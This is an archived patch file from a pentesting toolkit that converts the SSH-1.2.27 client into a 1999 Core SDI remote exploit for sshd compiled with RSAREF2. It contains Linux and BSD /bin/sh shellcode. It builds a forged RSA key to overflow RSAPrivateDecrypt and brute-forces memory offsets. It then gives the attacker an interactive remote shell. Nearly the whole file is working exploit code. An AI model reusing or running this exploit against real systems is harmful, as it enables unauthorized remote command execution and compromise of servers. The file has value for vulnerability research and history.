home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ssh / openssh / sshd-rsaref2.diff < prev   
Text File  |  2005-02-12  |  18KB  |  492 lines

  1. diff -N -c ssh-1.2.27/README.coresdi ssh-1.2.27-exploit/README.coresdi
  2. *** ssh-1.2.27/README.coresdi    Wed Dec 31 21:00:00 1969
  3. --- ssh-1.2.27-exploit/README.coresdi    Tue Dec 14 19:21:10 1999
  4. ***************
  5. *** 0 ****
  6. --- 1,32 ----
  7. + /*
  8. +  *
  9. +  * Descrition: Exploit code for SSH-1.2.27 sshd with rsaref2 compiled in
  10. +  * (--with-rsaref)
  11. +  *
  12. +  * Author: Alberto Solino <Alberto_Solino@core-sdi.com>
  13. +  *
  14. +  * Copyright (c) 1999 CORE SDI S.A., Buenos Aires, Argentina.
  15. +  * All rights reserved.
  16. +  *
  17. +  *
  18. +  * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES
  19. +  * ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY DIRECT,
  20. +  * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES RESULTING
  21. +  * FROM THE USE OR MISUSE OF THIS SOFTWARE.
  22. +  *
  23. +  */
  24. + Tested on
  25. +   SSH-1.2.27 Linux RedHat 6.0
  26. +   SSh-1.2.27 OpenBSD 2.6
  27. + Details
  28. +   Relies on offsets taken from JUMP_TO_MY_KEY that are different on
  29. +   different boxes.
  30. +   If it doesnt work, check inside incoming.buf for the string "BETO"
  31. +   and find the proper offsets from there.
  32. +   Additionally, the -f nad -t options are available, to  provide
  33. +   a range of addresses and try to brute force remotely the right 
  34. +   one.
  35. +   Specify the target os type with -o
  36. Binary files ssh-1.2.27/exploit_key and ssh-1.2.27-exploit/exploit_key differ
  37. diff -N -c ssh-1.2.27/exploit_key.pub ssh-1.2.27-exploit/exploit_key.pub
  38. *** ssh-1.2.27/exploit_key.pub    Wed Dec 31 21:00:00 1969
  39. --- ssh-1.2.27-exploit/exploit_key.pub    Tue Nov 30 01:14:10 1999
  40. ***************
  41. *** 0 ****
  42. --- 1 ----
  43. + 1024 35 126711790959034717449904354103174105464423905750911738400315407900752946071988773532672356922306687685191424606806952947660867911760697942514594956213990584856991678398353026692681430136274853402829183803383791361598788187120276305630837366787507026341329913385926890796258293060370046555624537870005279144741 root@jack
  44. Common subdirectories: ssh-1.2.27/gmp-2.0.2-ssh-2 and ssh-1.2.27-exploit/gmp-2.0.2-ssh-2
  45. diff -N -c ssh-1.2.27/history ssh-1.2.27-exploit/history
  46. *** ssh-1.2.27/history    Wed Dec 31 21:00:00 1969
  47. --- ssh-1.2.27-exploit/history    Tue Nov 16 21:41:36 1999
  48. ***************
  49. *** 0 ****
  50. --- 1,7 ----
  51. + Tue Nov 16 19:58:04 ART 1999
  52. + En RSAPrivateBlock, no calcula la longitud de salida del buffer, simplemente copia
  53. + el tamanio del modulo que esta en privatekey, pero la longitud de los numeros 
  54. + nunca es mayor que 128.
  55. + Tue Nov 16 21:41:15 ART 1999
  56. + overflow en RSAPrivateDecrypt????!?!?!??!?!?! who knows!! fijarse...
  57. Common subdirectories: ssh-1.2.27/rsaref2 and ssh-1.2.27-exploit/rsaref2
  58. diff -N -c ssh-1.2.27/ssh.c ssh-1.2.27-exploit/ssh.c
  59. *** ssh-1.2.27/ssh.c    Wed May 12 08:19:28 1999
  60. --- ssh-1.2.27-exploit/ssh.c    Tue Dec 14 19:03:59 1999
  61. ***************
  62. *** 202,208 ****
  63.   #include "readconf.h"
  64.   #include "userfile.h"
  65.   #include "emulate.h"
  66.   #ifdef LIBWRAP
  67.   #include <tcpd.h>
  68.   #include <syslog.h>
  69. --- 202,207 ----
  70. ***************
  71. *** 212,217 ****
  72. --- 211,249 ----
  73.   int allow_severity = LOG_INFO;
  74.   int deny_severity = LOG_WARNING;
  75.   #endif /* LIBWRAP */
  76. + #ifdef SSH_EXPLOIT
  77. + #define BETO_STR 0x80850f8
  78. + unsigned long exp_offset=BETO_STR;
  79. + unsigned long exp_offset_to=BETO_STR;
  80. + unsigned char *shell_code;
  81. + unsigned long shell_code_len=0;
  82. + unsigned char linux_shell_code[]=
  83. + {0x90    ,0x90    ,0x90    ,0x90    ,0x90    ,0x90    ,0x90    ,0x90
  84. + ,0xeb    ,0x44    ,0x5e    ,0x89    ,0x76
  85. + ,0x08    ,0x31    ,0xc0    ,0x88    ,0x46    ,0x07    ,0x89    ,0x46
  86. + ,0x0c    ,0x56    ,0xb9    ,0x00    ,0x00    ,0x00    ,0x00    ,0xbb
  87. + ,0x05    ,0x00    ,0x00    ,0x00    ,0xb0    ,0x3f    ,0xcd    ,0x80
  88. + ,0xb9    ,0x01    ,0x00    ,0x00    ,0x00    ,0xbb    ,0x05    ,0x00
  89. + ,0x00    ,0x00    ,0xb0    ,0x3f    ,0xcd    ,0x80    ,0xb9    ,0x02
  90. + ,0x00    ,0x00    ,0x00    ,0xbb    ,0x05    ,0x00    ,0x00    ,0x00
  91. + ,0xb0    ,0x3f    ,0xcd    ,0x80    ,0x5e    ,0xb0    ,0x0b    ,0x89
  92. + ,0xf3    ,0x8d    ,0x4e    ,0x08    ,0x8d    ,0x56    ,0x0c    ,0xcd
  93. + ,0x80    ,0xe8    ,0xb7    ,0xff    ,0xff    ,0xff    ,0x2f    ,0x62
  94. + ,0x69    ,0x6e    ,0x2f    ,0x73    ,0x68    ,0x00};
  95. + unsigned char bsd_shell_code[]=
  96. + {0x90,    0x90,    0x90,    0x90,    0x90,    0x90,    0x90,
  97. +  0xeb,    0x45,    0x5e,    0x89,    0x76,    0x08,    0x31,    0xc0,
  98. +  0x88,    0x46,    0x07,    0x89,    0x46,    0x0c,    0x6a,    0x00,
  99. +  0x6a,    0x05,    0x51,    0xb8,    0x5a,    0x00,    0x00,    0x00,
  100. +  0xcd,    0x80,    0x6a,    0x01,    0x6a,    0x05,    0x51,    0xb8,
  101. +  0x5a,    0x00,    0x00,    0x00,    0xcd,    0x80,    0x6a,    0x02,
  102. +  0x6a,    0x05,    0x51,    0xb8,    0x5a,    0x00,    0x00,    0x00,
  103. +  0xcd,    0x80,    0x6a,    0x00,    0x8d,    0x46,    0x08,    0x50,
  104. +  0x8b,    0x46,    0x08,    0x50,    0xb8,    0x3b,    0x00,    0x00,
  105. +  0x00,    0x31,    0xc9,    0x41,    0x51,    0xcd,    0x80,    0xe8,
  106. +  0xb6,    0xff,    0xff,    0xff,    0x2f,    0x62,    0x69,    0x6e,
  107. +  0x2f,    0x73,    0x68,    0x00};
  108. + #endif
  109.   
  110.   /* Random number generator state.  This is initialized in ssh_login, and
  111.      left initialized.  This is used both by the packet module and by various
  112. ***************
  113. *** 275,280 ****
  114. --- 307,322 ----
  115.   /* Prints a help message to the user.  This function never returns. */
  116.   void usage(void)
  117.   {
  118. + #ifdef SSH_EXPLOIT
  119. +     fprintf(stderr, "ssh/rsaref2 exploit by Core SDI SA (c) 1999\n");
  120. +     fprintf(stderr, "Usage:\n\t%s [-f offset_from] [-t offset_to] -o ostype host\n",av0);
  121. +     fprintf(stderr, "where:\n");
  122. +     fprintf(stderr, "\toffset_from:       start offset for brute force\n");
  123. +     fprintf(stderr, "\toffset_to:         end offset for brute force\n");
  124. +     fprintf(stderr, "\tostype:            remote machine ostype\n");
  125. +     fprintf(stderr, "                     BSD   : for (*BSD)\n");
  126. +     fprintf(stderr, "                     Linux : for Intel Linuxes\n\n");
  127. + #else
  128.     fprintf(stderr, "Usage: %s [options] host [command]\n", av0);
  129.     fprintf(stderr, "Options:\n");
  130.     fprintf(stderr, "  -l user     Log in using this user name.\n");
  131. ***************
  132. *** 321,326 ****
  133. --- 363,369 ----
  134.     fprintf(stderr, "  -C          Enable compression.\n");
  135.     fprintf(stderr, "  -g          Allow remote hosts to connect to local port forwardings\n");
  136.     fprintf(stderr, "  -o 'option' Process the option as if it was read from a configuration file.\n");
  137. + #endif
  138.     exit(1);
  139.   }
  140.   
  141. ***************
  142. *** 504,510 ****
  143. --- 547,557 ----
  144.         opt = av[optind][1];
  145.         if (!opt)
  146.           usage();
  147. + #ifdef SSH_EXPLOIT
  148. +       if (strchr("fto", opt)) /* options with arguments */
  149. + #else
  150.         if (strchr("eilcpLRo", opt)) /* options with arguments */
  151. + #endif
  152.           {
  153.             optarg = av[optind] + 2;
  154.             if (strcmp(optarg, "") == 0)
  155. ***************
  156. *** 522,527 ****
  157. --- 569,594 ----
  158.           }
  159.         switch (opt)
  160.           {
  161. + #ifdef SSH_EXPLOIT
  162. +                 case 'f':
  163. +                     exp_offset = strtoul(optarg,NULL,16);
  164. +                     break;
  165. +                 case 't':
  166. +                     exp_offset_to = strtoul(optarg,NULL,16);
  167. +                     break;
  168. +                 case 'o':
  169. +                     if ( !strcmp(optarg,"BSD") ) {
  170. +                         shell_code = bsd_shell_code;
  171. +                         shell_code_len = sizeof(bsd_shell_code);
  172. +                     }
  173. +                     else if ( !strcmp(optarg,"Linux") ) {
  174. +                         shell_code = linux_shell_code;
  175. +                         shell_code_len = sizeof(linux_shell_code);
  176. +                     }
  177. +                     else
  178. +                         usage();
  179. +                     break;
  180. + #else
  181.           case 'n':
  182.             stdin_null_flag = 1;
  183.             break;
  184. ***************
  185. *** 681,692 ****
  186.           case 'g':
  187.             options.gateway_ports = 1;
  188.             break;
  189.           default:
  190.             usage();
  191.           }
  192.       }
  193.    /* Check that we got a host name. */
  194.     if (!host)
  195.       usage();
  196. --- 748,766 ----
  197.           case 'g':
  198.             options.gateway_ports = 1;
  199.             break;
  200. ! #endif
  201.           default:
  202.             usage();
  203.           }
  204.       }
  205. ! #ifdef SSH_EXPLOIT
  206. !     if ( shell_code == NULL )
  207. !         usage();
  208. !     if ( exp_offset_to < exp_offset ) {
  209. !         fprintf(stderr,"Invalid offsets!\n");
  210. !         usage();
  211. !     }
  212. ! #endif
  213.    /* Check that we got a host name. */
  214.     if (!host)
  215.       usage();
  216. ***************
  217. *** 793,798 ****
  218. --- 867,876 ----
  219.        rhosts_authentication is true.  Note that the random_state is not
  220.        yet used by this call, although a pointer to it is stored, and thus it
  221.        need not be initialized. */
  222. + #ifdef SSH_EXPLOIT
  223. +     do    
  224. +     {
  225. + #endif
  226.     ok = ssh_connect(host, options.port, options.connection_attempts,
  227.                      !use_privileged_port,
  228.                      original_real_uid, options.proxy_command, &random_state);
  229. ***************
  230. *** 846,857 ****
  231.                                                     original_real_uid);
  232.     options.user_hostfile = tilde_expand_filename(options.user_hostfile,
  233.                                                   original_real_uid);
  234.     /* Log into the remote system.  This never returns if the login fails. 
  235.        Note: this initializes the random state, and leaves it initialized. */
  236.     ssh_login(&random_state, host_private_key_loaded, &host_private_key, 
  237.               host, &options, original_real_uid);
  238.     /* We no longer need the host private key.  Clear it now. */
  239.     if (host_private_key_loaded)
  240.       rsa_clear_private_key(&host_private_key);
  241. --- 924,941 ----
  242.                                                     original_real_uid);
  243.     options.user_hostfile = tilde_expand_filename(options.user_hostfile,
  244.                                                   original_real_uid);
  245. ! #ifdef SSH_EXPLOIT
  246. !   fprintf(stdout,"Tryin'... 0x%x\n",exp_offset);
  247. ! #endif
  248.     /* Log into the remote system.  This never returns if the login fails. 
  249.        Note: this initializes the random state, and leaves it initialized. */
  250.     ssh_login(&random_state, host_private_key_loaded, &host_private_key, 
  251.               host, &options, original_real_uid);
  252. ! #ifdef SSH_EXPLOIT
  253. !     exp_offset++;
  254. !     } while (exp_offset<=exp_offset_to);
  255. !     fprintf(stderr,"Didn't work ;( \n");
  256. ! #endif
  257.     /* We no longer need the host private key.  Clear it now. */
  258.     if (host_private_key_loaded)
  259.       rsa_clear_private_key(&host_private_key);
  260. diff -N -c ssh-1.2.27/sshconnect.c ssh-1.2.27-exploit/sshconnect.c
  261. *** ssh-1.2.27/sshconnect.c    Wed May 12 08:19:29 1999
  262. --- ssh-1.2.27-exploit/sshconnect.c    Thu Dec  9 17:09:39 1999
  263. ***************
  264. *** 214,220 ****
  265.   #include "mpaux.h"
  266.   #include "userfile.h"
  267.   #include "emulate.h"
  268.   #ifdef KERBEROS
  269.   #ifdef KRB5
  270.   #include <krb5.h>
  271. --- 214,219 ----
  272. ***************
  273. *** 1271,1276 ****
  274. --- 1270,1280 ----
  275.                  const char *orighost, 
  276.                  Options *options, uid_t original_real_uid)
  277.   {
  278. + #ifdef SSH_EXPLOIT
  279. + extern unsigned long exp_offset;
  280. + extern unsigned char *shell_code;
  281. + extern unsigned long shell_code_len;
  282. + #endif
  283.     int i, type, len, f;
  284.     char buf[1024], seedbuf[16];
  285.     char *password;
  286. ***************
  287. *** 1278,1283 ****
  288. --- 1282,1298 ----
  289.     MP_INT key;
  290.     RSAPublicKey host_key;
  291.     RSAPublicKey public_key;
  292. + #ifdef SSH_EXPLOIT
  293. +   MP_INT fakekey;
  294. +   int retval;
  295. +   unsigned char first;
  296. +   struct sockaddr_in sin;
  297. +   int sin_len=sizeof(struct sockaddr_in);
  298. +   RSAPrivateKey myfakeKey;
  299. +   RSAPrivateKey myPrivateKey;
  300. +   char private_key_filename[]="exploit_key";
  301. +   fd_set rfds;
  302. + #endif
  303.     unsigned char session_key[SSH_SESSION_KEY_LENGTH];
  304.     const char *server_user, *local_user;
  305.     char *cp, *host;
  306. ***************
  307. *** 1501,1506 ****
  308. --- 1516,1522 ----
  309.     /* Generate an encryption key for the session.   The key is a 256 bit
  310.        random number, interpreted as a 32-byte key, with the least significant
  311.        8 bits being the first byte of the key. */
  312.     for (i = 0; i < SSH_SESSION_KEY_LENGTH; i++)
  313.       session_key[i] = random_get_byte(state);
  314.   
  315. ***************
  316. *** 1519,1532 ****
  317.         else
  318.           mpz_add_ui(&key, &key, session_key[i]);
  319.       }
  320.     /* Encrypt the integer using the public key and host key of the server
  321.        (key with smaller modulus first). */
  322.     if (mpz_cmp(&public_key.n, &host_key.n) < 0)
  323.       {
  324.         /* Public key has smaller modulus. */
  325.         assert(host_key.bits >= public_key.bits + SSH_KEY_BITS_RESERVED);
  326.         rsa_public_encrypt(&key, &key, &public_key, state);
  327.         rsa_public_encrypt(&key, &key, &host_key, state);
  328.       }
  329. --- 1535,1552 ----
  330.         else
  331.           mpz_add_ui(&key, &key, session_key[i]);
  332.       }
  333. ! #ifdef SSH_EXPLOIT
  334. !     if ( load_private_key(getuid(),private_key_filename,"",&myPrivateKey,NULL)==0) { 
  335. !         fprintf(stderr,"Cannot locate private key %s\n",private_key_filename);
  336. !         exit(1);
  337. !   }
  338. ! #endif
  339.     /* Encrypt the integer using the public key and host key of the server
  340.        (key with smaller modulus first). */
  341.     if (mpz_cmp(&public_key.n, &host_key.n) < 0)
  342.       {
  343.         /* Public key has smaller modulus. */
  344.         assert(host_key.bits >= public_key.bits + SSH_KEY_BITS_RESERVED);
  345.         rsa_public_encrypt(&key, &key, &public_key, state);
  346.         rsa_public_encrypt(&key, &key, &host_key, state);
  347.       }
  348. ***************
  349. *** 1534,1540 ****
  350.       {
  351.         /* Host key has smaller modulus (or they are equal). */
  352.         assert(public_key.bits >= host_key.bits + SSH_KEY_BITS_RESERVED);
  353.         rsa_public_encrypt(&key, &key, &host_key, state);
  354.         rsa_public_encrypt(&key, &key, &public_key, state);
  355.       }
  356. --- 1554,1559 ----
  357. ***************
  358. *** 1564,1569 ****
  359. --- 1583,1637 ----
  360.     for (i = 0; i < 8; i++)
  361.       packet_put_char(check_bytes[i]);
  362.   
  363. + #ifdef SSH_EXPLOIT
  364. +     for ( i = 0 ; i < 16; i++ ) {
  365. +         mpz_mul_2exp(&key, &key, 8);
  366. +         mpz_add_ui(&key, &key, i+1);
  367. +     }
  368. +     /* Aca seto el lugar donde va a estar la clave nueva cambiada*/
  369. +     for ( i = 0; i < 4 ; i++ ) {
  370. +         mpz_mul_2exp(&key,&key,8);
  371. +         mpz_add_ui(&key,&key, ((exp_offset+9) >> (i*8) & 0xff));
  372. +     }
  373. +     /* Con esto fuerzo a que el ciphertext sea mas chico que el modulo*/
  374. +     key._mp_d[31]=0;
  375. +     key._mp_d[32]=0;
  376. +     key._mp_d[3]=htonl(exp_offset+0x5b);
  377. +     /* Ret address a mi codigo */
  378. +     //key._mp_d[3]=0x51510808; // JUMP_TO_MY_KEY+87 dado vuelta
  379. +     /*
  380. +     No se porque mierda ahora hay que invertilo...
  381. +     key._mp_d[3]=JUMP_TO_MY_KEY+80;
  382. +     */
  383. +     myfakeKey.bits = 1182; /* Tamanio de la clave */
  384. +     myfakeKey.n._mp_alloc = 33;
  385. +     myfakeKey.n._mp_size = 32;
  386. +     myfakeKey.n._mp_d = (unsigned long int *)(exp_offset+184);
  387. +     myfakeKey.e._mp_alloc = 1;
  388. +     myfakeKey.e._mp_size = 1;
  389. +     myfakeKey.e._mp_d = (unsigned long int *)(exp_offset+316);
  390. +     myfakeKey.d._mp_alloc = 1;
  391. +     myfakeKey.d._mp_size = 1;
  392. +     myfakeKey.d._mp_d = (unsigned long int *)(exp_offset+25);
  393. +     myfakeKey.u._mp_alloc = 17;
  394. +     myfakeKey.u._mp_size = 16;
  395. +     myfakeKey.u._mp_d = (unsigned long int *)(exp_offset+460);
  396. +     myfakeKey.p._mp_alloc = 17;
  397. +     myfakeKey.p._mp_size = 16;
  398. +     myfakeKey.p._mp_d = (unsigned long int *)(exp_offset+392);
  399. +     myfakeKey.q._mp_alloc = 17;
  400. +     myfakeKey.q._mp_size = 16;
  401. +     myfakeKey.q._mp_d = (unsigned long int *)(exp_offset+324);
  402. + #endif
  403.     /* Send the encrypted encryption key. */
  404.     packet_put_mp_int(&key);
  405.   
  406. ***************
  407. *** 1571,1579 ****
  408. --- 1639,1686 ----
  409.     packet_put_int(SSH_PROTOFLAG_SCREEN_NUMBER | SSH_PROTOFLAG_HOST_IN_FWD_OPEN);
  410.   
  411.     /* Send the packet now. */
  412. + #ifdef SSH_EXPLOIT
  413. +   packet_put_string("BETO",4);
  414. +   packet_put_string((char *)&myfakeKey,sizeof(myfakeKey));
  415. +   packet_put_string(shell_code, shell_code_len);
  416. +   packet_put_string((char *)myPrivateKey.n._mp_d,myPrivateKey.n._mp_size*4);
  417. +   packet_put_string((char *)myPrivateKey.e._mp_d,myPrivateKey.e._mp_size*4);
  418. +   packet_put_string((char *)myPrivateKey.q._mp_d,myPrivateKey.q._mp_size*4);
  419. +   packet_put_string((char *)myPrivateKey.p._mp_d,myPrivateKey.p._mp_size*4);
  420. +   packet_put_string((char *)myPrivateKey.u._mp_d,myPrivateKey.u._mp_size*4);
  421. + #endif
  422.     packet_send();
  423.     packet_write_wait();
  424. + #ifdef SSH_EXPLOIT
  425.   
  426. +     usleep(10);
  427. +     first = 1;
  428. +     i = write(packet_get_connection_in(),"id\n",3);
  429. +     if ( getpeername(packet_get_connection_in(),(struct sockaddr *)&sin, &sin_len) == -1)
  430. +         return;
  431. +         
  432. +     while (1) {
  433. +       FD_ZERO(&rfds);
  434. +         FD_SET(packet_get_connection_in(),&rfds);
  435. +         FD_SET(STDIN_FILENO,&rfds);
  436. +         if ( (retval = select(packet_get_connection_in()+1,&rfds,NULL,NULL,NULL)) < 0 )
  437. +             return;
  438. +         if (FD_ISSET(STDIN_FILENO,&rfds)) {
  439. +             i=read(STDIN_FILENO,buf,sizeof(buf));
  440. +             write(packet_get_connection_out(),buf,i);
  441. +         } else if (FD_ISSET(packet_get_connection_in(),&rfds)) {
  442. +             i=read(packet_get_connection_in(),buf,sizeof(buf));
  443. +             if ( first )
  444. +                 if ( strncmp(buf,"uid",3) )
  445. +                     return;
  446. +                 else {
  447. +                     fprintf(stdout,"Got it!\n");
  448. +                     first = 0;
  449. +                 }
  450. +             write(STDOUT_FILENO,buf,i);
  451. +         }
  452. +     }    
  453. + #endif
  454.     /* Destroy the session key integer and the public keys since we no longer
  455.        need them. */
  456.     mpz_clear(&key);
  457. ***************
  458. *** 1583,1588 ****
  459. --- 1690,1697 ----
  460.     debug("Sent encrypted session key.");
  461.     
  462.     /* Set the encryption key. */
  463. +   packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH+120, 
  464. +                             options->cipher, 1);
  465.     packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH, 
  466.                               options->cipher, 1);
  467.   
  468. Common subdirectories: ssh-1.2.27/zlib-1.0.4 and ssh-1.2.27-exploit/zlib-1.0.4
  469.